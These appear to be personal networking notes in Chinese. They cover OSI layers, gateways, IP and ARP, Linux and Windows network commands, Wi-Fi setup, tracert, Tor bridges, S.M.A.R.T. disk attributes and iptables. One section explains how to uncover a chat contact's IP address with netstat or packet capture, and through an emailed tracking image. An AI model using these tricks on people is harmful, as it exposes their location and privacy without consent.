和 wireshark 差不多. 没有图形界面.

OSI 7 简介

开放式系统互联通信参考模型 Open System Interconnection Reference Model

计算机在世界范围内互连为网络的标准框架。

OSI 七层网络体系结构:

第7层 应用层- - - 提供通信端口  HTTP,HTTPS,FTP,TELNET,SSH,SMTP,POP3
第6层 表示层- - - 类似快递打包. 数据压缩、解压 / 加密、解密
第5层 会话层- - - 数据叫报文! 解除或建立与别的电脑的联系 / 服务器验证用户登录
第4层 传输层- - - 数据叫数据包! 负责获取全部信息 TCP,UDP
第3层 网络层 - - -地址解析和路由.选择合适的路由,确保信息到达. IP
第2层 数据链路层- -网卡
第1层 物理层 - - -中继器/集线器/双绞线

7层: 应用层(Application Layer)

  • 为操作系统/网络程序 提供访问网络服务的端口。

    一台电脑有很多端口 要指定端口才能通信. 例如: HTTP,HTTPS,FTP,TELNET,SSH,SMTP,POP3等。

6层: 表示层(Presentation Layer)

将数据从抽象语法(文类文字),转为适合于OSI系统内部使用的适合传送的格式.

数据的压缩和解压缩, 加密和解密等工作都由表示层负责。

5层: 会话层(Session Layer) 没有协议

在会话层及以上的高层次中,数据传送的单位不再另外命名,而是统称为报文。 会话层不参与具体的传输, 它提供包括访问验证和会话管理在内的建立和维护应用之间通信的机制。 如服务器验证用户登录便是由会话层完成的。

负责在数据传输中设置和维护电脑网络中两台电脑之间的通信连接。

4层: 传输层(Transport Layer)

  • 数据单元称作数据包(packets)。
  • 把传输表头(TH)加至数据以形成数据报。 传输表头包含了所使用的协议等发送信息。例如:传输控制协议义(TCP) 等

这个层必须跟踪数据单元碎片、乱序到达的 数据包和其它在传输过程中可能发生的危险。

  • 为第5层提供端到端(最终用户到最终用户)的透明的、可靠的数据传输服务。

    透明传输指:通信过程中 传输层对上层屏蔽了通信传输系统的具体细节。

3层: 网络层(Network Layer) 快递单

数据传输 - 经过很多路由器 - 选择合适的网间路由和交换结点,确保数据及时传送。

网络层将数据链路层提供的帧组成数据包,包中封装有网络层包头,其中含有逻辑地址信息- -源站点和目的站点地址的网络地址。

如果你在谈论一个IP地址,那么你是在处理第3层的问题,这是“数据包”问题.

IP是第3层问题的一部分,此外还有一些路由协议和地 址解析协议(ARP)。 有关路由的一切事情都在这第3层处理。地址解析和路由是3层的重要目的。 网络层还可以实现拥塞控制、网际互连等功能。 在这一层,数据的单位称为数据包(packet)。 网络层协议的代表包括:IP、IPX、RIP、OSPF等。

传输有地址的帧以及错误检测功能 SLIP,CSLIP,PPP,ARP,RARP,MTU 负责网络寻址、错误侦测和改错。当表头和表尾被加至数据包时,会形成了帧。 数据链表头(DLH)是包含了物理地址和错误侦测及改错的方法。 数据链表尾(DLT)是一串指示数据包末端的字符串。 例如以太网、无线局域网(Wi-Fi)和通用分组无线服务(GPRS)等。

1层: 物理层(Physical Layer)

以二进制数据形式在物理媒体上传输数据 ISO2110,IEEE802,IEEE802.2 在局部局域网络上传送帧,它负责管理电脑通信设备和网络媒体之间的互通。 包括了针脚、电压、线缆规范、集线器、中继器、网卡、主机适配器等

Linux TCP/IP 概念层

应用层 → OSI 765 Linux 应用命令测试 传输层 → OSI 4 TCP,UDP 协议分析 四层交换机/四层路由器 网络层 → OSI 3 检查 IP 地址,路由器设置 路由器/三层交换机 数据链路层 → OSI 2 ARP 地址检测 网桥/二层交换机 网卡 物理层 → OSI 1 物理连接检测 中继器/集线器/双绞线### 网关: *从一个房间走到另一个房间,必然要经过一扇门。 从一个网络向另一个网络发送信息,也必须经过一道“关口”,这就是网关。

网关实质上是一个网络通向其他网络的IP地址。

比如: 网络A:192.168.1.1-254 子网掩码为255.255.255.0. 网络B:192.168.2.1-254 子网掩码为255.255.255.0.

在没有路由器的情况下,两个网络之间是不能进行TCP/IP通信的. 即使是两个网络连接在同一台交换机上, TCP/IP协议也会根据子网掩码(255.255.255.0) 判定两个网络中的主机处在不同的网络里。

而要实现这两个网络之间的通信,则必须通过网关。

如果网络A中的主机发现数据包的目的主机不在本地网络中,就把数据包转发给它自己的网关,再由网关转发给网络B的网关,网络B的网关再转发给网络B的某个主机。 网络B向网络A转发数据包的过程。 所以说,只有设置好网关的IP地址,TCP/IP协议才能实现不同网络之间的相互通信。

网关的IP地址是具有路由功能的设备的IP地址, 具有路由功能的设备有路由器、启用了路由协议的服务器(实质上相当于一台路由器)、代理服务器(也相当于一台路由器)。

二、什么是默认网关

如果搞清了什么是网关,默认网关也就好理解了。就好像一个房间可以有多扇门一样,一台主机可以有多个网关。默认网关的意思是一台主机如果找不到可用的网关,就把数据包发给默认指定的网关,由这个网关来处理数据包。现在主机使用的网关,一般指的是默认网关。

如何设置默认网关

一台电脑的默认网关是不可以随随便便指定的,必须正确地指定,否则一台电脑就会将数据包发给不是网关的电脑,从而无法与其他网络的电脑通信。默认网关的设定有手动设置和自动设置两种方式。

  1. 手动设置

手动设置适用于电脑数量比较少、TCP/IP参数基本不变的情况,比如只有几台到十几台电脑。因为这种方法需要在联入网络的每台电脑上设置“默认网关”,非常费劲,一旦因为迁移等原因导致必须修改默认网关的IP地址,就会给网管带来很大的麻烦,所以不推荐使用。

默认网关必须是电脑自己所在的网段中的IP地址,而不能填写其他网段中的IP地址。

  1. 自动设置

另外一种自动获得网关的办法是通过安装代理服务器软件(如MS Proxy)的客户端程序来自动获得,

三、什么是IP地址

所谓IP地址就是给每个连接在Internet上的主机分配的一个32bit地址。

按照TCP/IP(Transport Control Protocol/Internet Protocol,传输控制协议/Internet协议)协议规定,IP地址用二进制来表示, 每个IP地址长32bit,比特换算成字节,就是4个字节。例如一个采用二进制形式的IP地址是“00001010000000000000000000000001”,这么长的地址,人们处理起来也太费劲了。为了方便人们的使用,IP地址经常被写成十进制的形式,中间使用符号“.”分开不同的字节。于是,上面的IP地址可以表示为“10.0.0.1”。IP地址的这种表示法叫做“点分十进制表示法”,这显然比1和0容易记忆得多。

我们可以指定一台计算机具有多个IP地址,因此在访问互联网时,不要以为一个IP地址就是一台计算机 另外,通过特定的技术,也可以使多台服务器共用一个IP地址,这些服务器在用户看起来就像一台主机似的。

如何分配IP地址

TCP/IP协议需要针对不同的网

那么,局域网怎么分配IP地址呢?互联网上的IP地址统一由一个叫“IANA”(Internet Assigned Numbers Authority,互联网网络号分配机构)的组织来管理。

查看自己的网关:点机开始菜单!然后选运行,输入cmd

然后在输入ipconfig /all

win7 netsh i i show in 看id x 接口。

netsh -c “i i”add neighbors idx ip mac

删除 netsh -c “i i“ delete neighbots idx。

win7 关闭uac 就不用管理员身份运行脚步了

ARP 表: IP+MAC+ 接口信息备注

SH-OFFICE-GATEWAY(show)# arp

Total ARP entries: 177
----------------|--------------------------|------------------------|-----------
     IP Address |     MAC Address          |     Interface[~Port]   |     Flags
----------------|--------------------------|------------------------|-----------
172.19.10.1     | 00:02:85:0A:75:40        | lo0                    | Static
172.19.10.10    | 00:0C:29:07:02:01        | TO-RDOMAIN~et.2.15     |
172.19.10.15    | 00:14:38:50:3A:B2        | TO-RDOMAIN~et.2.5      |
172.19.12.9     | 00:02:85:0A:75:40        | lo0                    | Static
172.19.12.10    | 00:1F:9E:CC:D6:9A        | TO-ASA~et.2.2          |
172.19.12.25    | 00:02:85:0A:75:40        | lo0                    | Static
172.19.12.26    | 00:D0:FF:12:34:70        | TO-7206~et.2.4         |
172.19.16.1     | 00:02:85:0A:75:40        | lo0                    | Static
172.19.16.9     | Invalidated              | TO-LAN                 |
172.19.16.12    | 00:0C:29:8D:D8:CA        | TO-LAN~et.1.6          |
172.19.16.13    | A4:1F:72:67:3A:24        | TO-LAN~et.1.6          |
172.19.16.15    | 00:0C:29:B5:D1:EE        | TO-LAN~et.1.6          |
172.19.16.16    | F4:CE:46:B1:19:06        | TO-LAN~et.1.1          |

网络唤醒

Wake-on-LAN简称WOL或WoL,中文多译为“网络唤醒”、“远端唤醒”技术。       网络唤醒无需任何软件 实现局域网广域网远程唤醒计算机   原理上来说是非常简单的,只要将被唤醒的计算机网卡支持远程唤醒功能,在收到和自己的网卡mac地址相吻合的数据包后就可以启动。   远程唤醒需要的条件是你的电脑支持网卡远程唤醒,无线网卡是做不到的,必须是有线网卡。   进入电脑的bios(有的电脑是开机按del键,有的是按f1键,有的是f2键,我使用的联想品牌机更过分点需要ctrl+f1键进入工厂bios模式,这个根据你的电脑而定),找到wake on lan选项并且设为enable,那么你就打开了硬件远程唤醒功能。是否正确被打开很重要的一点确定方法,就是你的电脑关机以后,网卡上的工作指示灯保持亮着,连接到的路由器或者交换机相对应的lan口指示灯也能正确亮着或者闪烁就ok!   其实大家现在用的主板基本上都支持远程唤醒的,如果找不到wake on lan设置,那么就去别的地方看看。比如有的主板就在电源选项里有pci wake up或者类似条目,意思是pci设备唤醒,网卡也属于pci设备      http://www.shellsec.com/tech/26198.html

IP ip/ipconfig/ifconfig

Display TCP & IP 属性:

  • IP → Liunx 新版本
  • IPCONFIG → Windows
  • IFCONFIG → Linux 老版本

ipconfig:

ipconfig ?         // 显示 帮助消息. 列出所有用法.

ipconfig /all     // 显示完整配置信息

ipconfig /release  // 归还 ip 地址给 DHCP 服务器.  也就断网!!  要重新启用网卡.
ipconfig /renew    // 更新所有适配器... 也就是重启网卡?

ifconfig

  • 查看所有网卡 ifconfig // 比如 lo0 en0 en1 en2
  • 查看特定网卡 ifconfig en0 //所有网卡里面选个名字就行.

  • 激活网卡: sudo ifconfig wlan0 up / down //相当于 windows 的 启用/禁用

IP

  • 查询 ip :
    addr 查看ip 信息

  • 加/删 ip :
    sudo ip addr add 192.168.0.193/24 dev wlan0

  • 查看固定网卡 ip :
    ip addr show wlan0

  • 查看路由器:
    ip route show

查看 一个ip的路由包 从哪里来的 ip route get 58.217.200.13 (百度的ip)

Misc

网络接口类型:

lo 本地回环接口

eth(0-9) 以太网接口

pppx 点对点 接口


IP - Internal Protocol

网络协议

ip addr

网卡信息

ip link show

启用网卡:

ip link set wlp3s0 up

查看无线网卡IP/Mac信息

iw dev

扫描 wifi

iw wlp3s0 scan | grep SSID

连接 WIFI

wpa_supplicant -B -i wlp3s0 -c <(wpa_passphrase “TP-LINK_901” “123456789”)

将ssid 替换为实际的网络名称, psk 替换为无线密码,请保留引号。

Successfully initialized wpa_supplicant // 连接成功标志

开启 DHCP (必要!)

dhclient wlp3s0 要等好久的!

连上wifi后. 把iw wpa_supplicant dialog这三个都装了

fdisk -l 查看挂载信息 (识别不等于挂载) /dev/sdd

lsblk 看 U盘是哪个!!

创建目录来挂载 U盘

mkdir /mnt/usb

挂载U盘

mount/dev/sdd4 /mnt/usb

卸载U盘

umount /dev/sdd

查看U盘内容

cd /mnt/usb

删除目录

rm -rf home

复制文件夹

cp -r /mnt/usb /v/desktop

查ip.

日志查询?

qq 聊天
用的是 udp . 自动监控 udp 端口. 并记录.

4、命令查询法 这种方法是通过Windows系统内置的网络命令“netstat”,来查出对方好友的IP地址,不过该方法需要你先想办法将对方好友邀请到QQ的“二人世界”中说上几句话才可以。下面就是该方法的具体实现步骤: 首先单击“开始”/“运行”命令,在弹出的系统运行对话框中,输入“cmd”命令,单击“确定”按钮后,将屏幕切换到MS-DOS工作状态;然后在DOS命令行中执行“netstat -n”命令,在弹出的界面中,你就能看到当前究竟有哪些地址已经和你的计算机建立了连接(如果对应某个连接的状态为“Established”,就表明你的计算机和对方计算机之间的连接是成功的); 其次打开QQ程序,邀请对方好友加入“二人世界”,并在其中与朋友聊上几句,这样你的计算机就会与对方好友的计算机之间建立好了TCP连接;此时,再在DOS命令行中执行“netstat -n”命令,看看现在又增加了哪个tcp连接,那个新增加的连接其实就是对方好友与你之间的UDP连接,查看对应连接中的“Foreign Address”就能知道对方好友的IP地址了。

在线传输就是不通过腾讯服务器在2个QQ号直接直接通过UDP打洞传输数据,qq 所以只有在线传输文件这个办法可行。也就是说我们可以在给对放在线传输文件的时候,用wireshark之类的抓包,就能得到对方的ip地址。

构造一个邮件发送给对方,对方点开则很可能暴露ip 这个方法仍然需要你有一台自己的http主机,如果发送一封引用了自己网站图片的邮件给对方,假设邮件服务提供商安全做的不好,那么对方的浏览器在点开邮件的一瞬间,就会访问加载你http主机上的图片,对方的ip就留在你http服务器的log中了。

http://qsalg.com/?p=103

IPV4 转发

ip转发(ip 路由)简介: 接收一个IP包 → 决定往哪发送 → 发送 IP 包

Linux 默认 不需要开启 ip 转发功能.

如果需要架设 VPN服务 / Linux 路由器 就需要开启该功能.

编辑配置文件 永久生效 ( 0就是关闭 1就是开启 ) vi /etc/sysctl.conf 启动 ipv4 28行 去掉注释 把行尾的值改成1

配置好后 需要让配置生效: sysctl -p /etc/sysctl.conf

debian/ubuntu 用该命令 /etc/init.d/procps.sh restart 红帽系列:可以通过重启网络服务使之生效: service network restart

更改 网络设置下 路由ip 设置成 192.168.3.1 网关改成192.168.1.1 重启路由器 重启电脑wifi 再 administrator 下面设置语言 再设置风格 brainslayer

网络配置文件 /etc/network/interfaces

开启 DHCP

  1. vi 配置文件

    1. 加入下面两行 auto eth0 iface eth0 inet dhcp
      1. wq! 保存退出 vi

      2. sudo dhclient eth0

      3. ip addr 就能获取到 IP 了.

ip addr 看有几个网卡. 网卡的名称.

ifconfig eth0 up

ifconfig 启用网卡:

  1. 静态 IP

Tracert Win

确定数据包在网络上的停止位置。

tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name-d 指定不将 IP 地址解析到主机名称。
-h maximum_hops 指定跃点数以跟踪到称为 target_name 的主机的路由。
-j host-list 指定 Tracert 实用程序数据包所采用路径中的路由器接口列表。
-w timeout 等待 timeout 为每次回复所指定的毫秒数。
target_name 目标主机的名称或 IP 地址。
使用 tracert 命令跟踪路径
打开 命令提示符,然后键入:
tracert host_name
或者键入 tracert ip_address
其中 host_name 或 ip_address 分别是远程计算机的主机名或 IP 地址。

例如,要跟踪从该计算机到 www.ha97.com 的连接路由,请在命令提示行键入: tracert www.ha97.com
如果 tracert 失败,可以使用命令输出来帮助确定哪个中介路由器转发失败或耗时太多。

Traceroute Mac:

  1. 网络实用工具 → TraceRoute

  2. 终端命令: traceroute www.baidu.com

traceroute to www.bai.com (221.5.71.179), 64 hops max, 52 byte packets 1 172.19.16.1 (172.19.16.1) 1.604 ms 1.076 ms 1.154 ms // 公司网关 2 172.19.30.1 (172.19.30.1) 1.457 ms 2.395 ms 1.603 ms // 3 210.22.92.253 (210.22.92.253) 2.795 ms 1.783 ms 2.301 ms // 公司 IP 4 58.247.221.177 (58.247.221.177) 2.622 ms 11.930 ms 2.039 ms

5 139.226.205.149 (139.226.205.149) 4.251 ms 32.822 ms 6.414 ms 6   *  7 120.83.0.10 (120.83.0.10) 50.592 ms 43.977 ms 44.268 ms 8 120.80.209.158 (120.80.209.158) 36.879 ms 36.682 ms 38.215 ms 9    10   * * 11 221.5.71.179 (221.5.71.179) 44.615 ms 49.477 ms 44.445 ms

Traceroute Win:

tracert www.baidu.com 会显示 你到百度网址  所有经过的 路由. 

-h maximum_hops 指定搜索目标的最大跃点数.  默认最大30个跃点 tracert -h 50 www.baidu.com // 最多可以支持 50个 跃点
Troubleshoot

工作原理

通过向目标发送不同 IP 生存时间 (TTL) 值的“Internet 控制消息协议 (ICMP)”回应数据包,

Tracert诊断程序确定到目标所采取的路由。

要求路径上的每个路由器在转发数据包之前至少将数据包上的 TTL 递减 1。 数据包上的 TTL 减为 0 时,路由器应该将“ICMP 已超时”的消息发回源系统。

Tracert 先发送 TTL 为 1 的回应数据包,并随后的每次发送过程将 TTL 递增 1,直到目标响应或 TTL 达到最大值,从而确定路由。通过检查中间路由器发回的“ICMP 已超时”的消息确定路由。某些路由器不经询问直接丢弃 TTL 过期的数据包,这在 Tracert 实用程序中看不到。 Tracert 命令按顺序打印出返回“ICMP 已超时”消息的路径中的近端路由器接口列表。

如果使用 -d 选项,则 Tracert 实用程序不在每个 IP 地址上查询 DNS。

Troubleshoot

用 tracert 确定数据包在网络上的停止位置。

Tracert 实用程序对于解决大网络问题非常有用,

-j host-list 指定 Tracert 实用程序数据包所采用路径中的路由器接口列表。 -w timeout 等待 timeout 为每次回复所指定的毫秒数。 target_name 目标主机的名称或 IP 地址。

使用 tracert 命令跟踪路径 打开命令提示符,然后键入:

例如,要跟踪从该计算机到的连接路由,请在命令提示行键入: tracert url

实例: 追踪 vpn 服务器 本机 IP : 172.19.16.166

tracert 210.22.91.22 1. 172.19.16.1 2. 172.19.30.1 xujian-PC 3. 210.22.92.253 4. 210.22.91.22

分析:

  1. 16.16 DHCP 服务器 ?
  2. 30.1 机房 Cisco 路由器 \3.

Tracert TracerRoute

路由追踪 …

Mac:

网络实用工具 → TraceRoute

Win:
tracert www.baidu.com 会显示 你到百度网址  所有经过的 路由. 

-h maximum_hops 指定搜索目标的最大跃点数.  默认最大30个跃点 tracert -h 50 www.baidu.com // 最多可以支持 50个 跃点
Troubleshoot

工作原理

通过向目标发送不同 IP 生存时间 (TTL) 值的“Internet 控制消息协议 (ICMP)”回应数据包,

Tracert诊断程序确定到目标所采取的路由。

要求路径上的每个路由器在转发数据包之前至少将数据包上的 TTL 递减 1。 数据包上的 TTL 减为 0 时,路由器应该将“ICMP 已超时”的消息发回源系统。

Tracert 先发送 TTL 为 1 的回应数据包,并随后的每次发送过程将 TTL 递增 1,直到目标响应或 TTL 达到最大值,从而确定路由。通过检查中间路由器发回的“ICMP 已超时”的消息确定路由。某些路由器不经询问直接丢弃 TTL 过期的数据包,这在 Tracert 实用程序中看不到。 Tracert 命令按顺序打印出返回“ICMP 已超时”消息的路径中的近端路由器接口列表。

如果使用 -d 选项,则 Tracert 实用程序不在每个 IP 地址上查询 DNS。

Troubleshoot

用 tracert 确定数据包在网络上的停止位置。

Tracert 实用程序对于解决大网络问题非常有用,

-j host-list 指定 Tracert 实用程序数据包所采用路径中的路由器接口列表。 -w timeout 等待 timeout 为每次回复所指定的毫秒数。 target_name 目标主机的名称或 IP 地址。

使用 tracert 命令跟踪路径 打开命令提示符,然后键入:

例如,要跟踪从该计算机到的连接路由,请在命令提示行键入: tracert url

实例: 追踪 vpn 服务器 本机 IP : 172.19.16.166

tracert 210.22.91.22 1. 172.19.16.1 2. 172.19.30.1 xujian-PC 3. 210.22.92.253 4. 210.22.91.22

分析:

  1. 16.16 DHCP 服务器 ?
  2. 30.1 机房 Cisco 路由器

先 ss 开启 自动翻墙 模式

再 去 tor 官网 下载 tor 浏览器

运行 不能直链 先配置
再 isp是否封锁 下 选择 是 网桥配置 选择meek 开头的 是否需要本地代理 选择否 连接 等待 几分钟。 就能上了 。

持久网络协议. 用户端 和 服务器端 创建关联. 实现数据交换.

S.M.A.R.T

启动/停止计数  通电时间累计   磁盘通电次数  温度    底层数据读取错误率  Raw Read Error Rate 
重映射扇区数  Relocated Sector Count   
主轴起旋重试次数(即硬盘主轴电机启动重试次数) Spin up Retry Count 
磁盘校准重试次数  Calibration Retry Count 
奇偶校验错误率  ULTRA ATA CRC Error Rate 
写错误率  Write Error Rate

**临界值 当前值 最差值 数据值

1、临界值 / 阈值   当前值接近临界值,硬盘就快挂了。    2、当前值   随着硬盘使用变小. 小到临界值就快坏了. 是判定硬盘健康状态依据之一。   

状态: 正常、警告、故障或错误      硬盘的每项SMART信息中都有一个临界值(阈值),不同硬盘的临界值是不同的,也是我们直观判断硬盘健康状态的重要信息。   

SMART参数详解

     一般情况下,用户只要观察当前值、最差值和临界值的关系,并注意状态提示信息即可大致了解硬盘的健康状况。

     04(004)启停计数 Start/Stop Count
  这一参数的数据是累计值,表示硬盘主轴电机启动/停止的次数,新硬盘通常只有几次,以后会逐渐增加。系统的某些功能如空闲时关闭硬盘等会使硬盘启动/停止的次数大为增加,在排除定时功能的影响下,过高的启动/停止次数(远大于通电次数0C)暗示硬盘电机及其驱动电路可能有问题。 

     05(005)重映射扇区计数 Reallocated Sectors Count/ 退役块计数 Retired Block Count
  数据应为0,当前值应远大于临界值。
  当硬盘的某扇区持续出现读/写/校验错误时,硬盘固件程序会将这个扇区的物理地址加入缺陷表(G-list),将该地址重新定向到预先保留的备用扇区并将其中的数据一并转移,这就称为重映射。执行重映射操作后的硬盘在Windows常规检测中是无法发现不良扇区的,因其地址已被指向备用扇区,这等于屏蔽了不良扇区。 
  这项参数的数据值直接表示已经被重映射扇区的数量,当前值则随着数据值的增加而持续下降。当发现此项的数据值不为零时,要密切注意其发展趋势,若能长期保持稳定,则硬盘还可以正常运行;若数据值不断上升,说明不良扇区不断增加,硬盘已处于不稳定状态,应当考虑更换了。如果当前值接近或已到达临界值(此时的数据值并不一定很大,因为不同硬盘保留的备用扇区数并不相同),表示缺陷表已满或备用扇区已用尽,已经失去了重映射功能,再出现不良扇区就会显现出来并直接导致数据丢失。 
  这一项不仅是硬盘的寿命关键参数,而且重映射扇区的数量也直接影响硬盘的性能,例如某些硬盘会出现数据量很大,但当前值下降不明显的情况,这种硬盘尽管还可正常运行,但也不宜继续使用。因为备用扇区都是位于磁盘尾部(靠近盘片轴心处),大量的使用备用扇区会使寻道时间增加,硬盘性能明显下降。 
  这个参数在机械硬盘上是非常敏感的,而对于固态硬盘来说同样具有重要意义。闪存的寿命是正态分布的,例如说MLC能写入一万次以上,实际上说的是写入一万次之前不会发生“批量损坏”,但某些单元可能写入几十次就损坏了。换言之,机械硬盘的盘片不会因读写而损坏,出现不良扇区大多与工艺质量相关,而闪存的读写次数则是有限的,因而损坏是正常的。所以固态硬盘在制造时也保留了一定的空间,当某个存储单元出现问题后即把损坏的部分隔离,用好的部分来顶替。这一替换方法和机械硬盘的扇区重映射是一个道理,只不过机械硬盘正常时极少有重映射操作,而对于固态硬盘是经常性的

  0C(012)通电周期计数 Power Cycle Count
  通电周期计数的数据值表示了硬盘通电/断电的次数,即电源开关次数的累计,新硬盘通常只有几次。 
  这一项与启停计数(04)是有区别的,一般来说,硬盘通电/断电意味着计算机的开机与关机,所以经历一次开关机数据才会加1;而启停计数(04)表示硬盘主轴电机的启动/停止(硬盘在运行时可能多次启停,如系统进入休眠或被设置为空闲多少时间而关闭)。所以大多情况下这个通电/断电的次数会小于启停计数(04)的次数。   通常,硬盘设计的通电次数都很高,如至少5000次,因此这一计数只是寿命参考值,本身不具指标性。       AD(173)磨损平衡操作次数(平均擦写次数) / Wear Leveling Count(Micron 镁光)
  所有好块的平均擦写次数。 
  Flash芯片有写入次数限制,当使用FAT文件系统时,需要频繁地更新文件分配表。如果闪存的某些区域读写过于频繁,就会比其它区域磨损的更快,这将明显缩短整个硬盘的寿命(即便其它区域的擦写次数还远小于最大限制)。所以,如果让整个区域具有均匀的写入量,就可明显延长芯片寿命,这称为磨损均衡措施。     AE(174)意外失电计数 Unexpected Power Loss Count
  硬盘自启用后发生意外断电事件的次数。  

    B4(180)未用的备用块计数 Unused Reserved Block Count Total(惠普)
  固态硬盘会保留一些容量来准备替换损坏的存储单元,所以可用的预留空间数非常重要。这个参数的当前值表示的是尚未使用的预留的存储单元数量。  

  BE(190)气流温度 Airflow Temperature
  这一项表示的是硬盘内部盘片表面的气流温度。在希捷公司的某些硬盘中,当前值=(100-当前温度),因此气流温度越高,当前值就越低,最差值则是当前值曾经到达过的最低点,临界值由制造商定义的最高允许温度来确定,而数据值不具实际意义。许多硬盘也没有这一项参数。    C0(192)断电返回计数 Power-Off Retract Count
  当计算机关机或意外断电时,硬盘的磁头都要返回停靠区,不能停留在盘片的数据区里。正常关机时电源会给硬盘一个通知,即Standby Immediate,就是说主机要求将缓存数据写入硬盘,然后就准备关机断电了(休眠、待机也是如此);意外断电则表示硬盘在未收到关机通知时就失电,此时磁头会自动复位,迅速离开盘片。 
      C1(193)磁头加载/卸载计数 Load/Unload Cycle Count
  对于过去的硬盘来说,盘片停止旋转时磁头臂停靠于盘片中心轴处的停泊区,磁头与盘片接触,只有当盘片旋转到一定转速时,磁头才开始漂浮于盘片之上并开始向外侧移动至数据区。这使得磁头在硬盘启停时都与盘片发生摩擦,虽然盘片的停泊区不存储数据,但无疑启停一个循环,就使磁头经历两次磨损。所以对以前的硬盘来说,磁头起降(加载/卸载)次数是一项重要的寿命关键参数。 
  而在现代硬盘中,平时磁头臂是停靠于盘片之外的一个专门设计的停靠架上,远离盘片。只有当盘片旋转达到额定转速后,磁头臂才开始向内(盘片轴心)转动使磁头移至盘片区域(加载),磁头臂向外转动返回至停靠架即卸载。这样就彻底杜绝了硬盘启停时磁头与盘片接触的现象,西部数据公司将其称为“斜坡加载技术”。由于磁头在加载/卸载过程中始终不与盘片接触,不存在磁头的磨损,使得这一参数的重要性已经大大下降。 
  这个参数的数据值就是磁头执行加载/卸载操作的累计次数。从原理上讲,这个加载/卸载次数应当与硬盘的启停次数相当,但对于笔记本内置硬盘以及台式机新型节能硬盘来说,这一项的数据量会很大。这是因为磁头臂组件设计有一个固定的返回力矩,保证在意外断电时磁头能靠弹簧力自动离开盘片半径范围,迅速返回停靠架。所以要让硬盘运行时磁头保持在盘片的半径之内,就要使磁头臂驱动电机(寻道电机)持续通以电流。而让磁头臂在硬盘空闲几分钟后就立即执行卸载动作,返回到停靠架上,既有利于节能,又降低了硬盘受外力冲击导致磁头与盘片接触的概率。虽然再次加载会增加一点寻道时间,但毕竟弊大于利,所以在这类硬盘中磁头的加载/卸载次数会远远大于通电周期计数(0C)或启停计数(04)的数据量。不过这种加载/卸载方式已经没有了磁头与盘片的接触,所以设计值也已大大增加,通常笔记本内置硬盘的磁头加载/卸载额定值在30~60万次,而台式机新型节能硬盘的磁头加载/卸载设计值可达一百万次。     C2(194)温度 Temperature
  温度的数据值直接表示了硬盘内部的当前温度。硬盘运行时最好不要超过45℃,温度过高虽不会导致数据丢失,但引起的机械变形会导致寻道与读写错误率上升,降低硬盘性能。硬盘的最高允许运行温度一般不会超过60℃。 
     C5(197)当前待映射扇区计数 Current Pending Sector Count
  数据应为0,当前值应远大于临界值。
  这个参数的数据表示了“不稳定的”扇区数,即等待被映射的扇区(也称“被挂起的扇区”)数量。如果不稳定的扇区随后被读写成功,该扇区就不再列入等待范围,数据值就会下降。 
  仅仅读取时出错的扇区并不会导致重映射,只是被列入“等待”,也许以后读取就没有问题,所以只有在写入失败时才会发生重映射。下次对该扇区写入时如果继续出错,就会产生一次重映射操作,此时重映射扇区计数(05)与重映射事件计数(C4)的数据值增加,此参数的数据值下降。
  C5(197)读取错误块计数(不可修复错误)Read Failure block Count(Indilinx芯片)  
        D0(208)主轴电机重启次数 Spin Buzz
  数据值记录了主轴电机反复尝试启动的次数,这通常是由于电源供电不足引起的。 
  DC(220)盘片偏移量 Disk Shift
  硬盘中的盘片相对主轴的偏移量(通常是受外力冲击或温度变化所致),单位未知,数据值越小越好。    E4(228)断电返回计数 Power-Off Retract Cycle
  数据值累计了磁头因设备意外断电而自动返回的次数,     

一旦有属性值超过了阈值,表明“硬盘快不行了”。每个硬盘的S.M.A.R.T.信息中都注明了这些属性的阈值,不同厂家的阈值是不同的,

(01) 读取错误率Read Error Rate(应小于阈值)硬件读取错误率,在从磁盘表面读取数据发生错误时记录。任何大于0的数据表明在磁盘表面或者读写柱头发生过问题。这项的最差值很低的话,则提示硬盘多半有坏道。某些二手硬盘检测这个数值不正常的话,有可能是被修复或屏蔽过坏道。

(05) 重新映射扇区计数Reallocated Sectors Count(应小于阈值)重新映射扇区的计数值。硬盘发现一个读、写或校验错误时,会将这个扇区重新映射并将数据转移到一个特殊的保留的空闲区域,这些区域就称为重新映射扇区。 也就是说,硬盘是无法通过检测来发现“坏块”的,所有的坏块都被隐藏到了重新映射的扇区里面了,当然这样读写速度会有影响变慢。

(09) 通电时间计数 Power-On Hours Count,POH(越小越好,通常无阈值)

规则(Rules)

  • Rules包括一个条件和一个目标(target)
  • 如果满足条件,就执行目标(target)中的规则或者特定值。
  • 如果不满足条件,就判断下一条Rules。

目标值(Target Values)

  • ACCEPT – 防火墙接收数据包
  • DROP – 防火墙丢弃包
  • QUEUE – 防火墙将数据包移交到用户空间
  • RETURN – 防火墙停止执行当前链中的后续Rules,并返回到调用链(the calling chain)中。

规则解释:

选项 解释
num 规则编号
target 目标值
prot 协议: tcp udp icmp 等
source 数据包源 IP 地址
destination 数据包目标 IP 地址

常用命令:

  • 清空 iptables 规则:

      iptables -F
      有些 linux 版本 用这个命令 不会清除 NAT 表里面的规则
      需要手动清除:
      iptables -t NAT -F
    

规则永久生效

系统重启后 规则会失效. 要永久有效:不同系统不同操作

Debian / Ubuntu
  • 保存现有规则 iptables-save > /etc/iptables.rules

  • 到/etc/network/if-pre-up.d/目录
  • 新建一个 bash 脚本 (新建文件就行 内容用#!/bin/bash开头 就是脚本文件.)
  • 脚本内容如下(两行)

      #!/bin/bash
      iptables-restore < /etc/iptables.rules
    	
      这样 每次系统重启后 iptables 规则会被自动加载.
    

基本操作

功能 命令
启动 iptables service iptables start
启动iptables /etc/rc.d/init.d/iptables start
关闭 iptables service iptables stop
关闭iptables /etc/rc.d/init.d/iptables stop
重启 iptables service iptables restart
查看 iptables状态 service iptables status
保存 iptables配置 service iptables save
功能 命令
Iptables 服务配置文件 /etc/sysconfig/iptables-config
Iptables 规则保存文件 /etc/sysconfig/iptables

命令:

    iptables [ -t 表名] 命令选项 [链名] [条件匹配] [-j 目标动作或者跳转]

常用命令:

阻止 IP 地址为 10.10.10.10 的所有连接。

    iptables -A INPUT -s 10.10.10.10 -j DROP

阻止一组 ip 的所有连接 (可以用 子网掩码 或者 /来表示一个子网)

    iptables -A INPUT -s 10.10.10.0/24 -j DROP

阻止特定 ip 的 ssh 连接.

    iptables -A INPUT -p tcp --dport ssh -s 10.10.10.10 -j DROP
    ssh 可以换成别的协议  
    -p tcp 是告诉 iptables 连接使用的是什么协议.

阻止所有 ip 的 ssh 连接

    iptables -A INPUT -p tcp —dport ssh -j DROP

查看iptables规则

    iptables –L(iptables –L –v -n) 

删除iptables现有规则

    iptables –F  删除一条规则
 
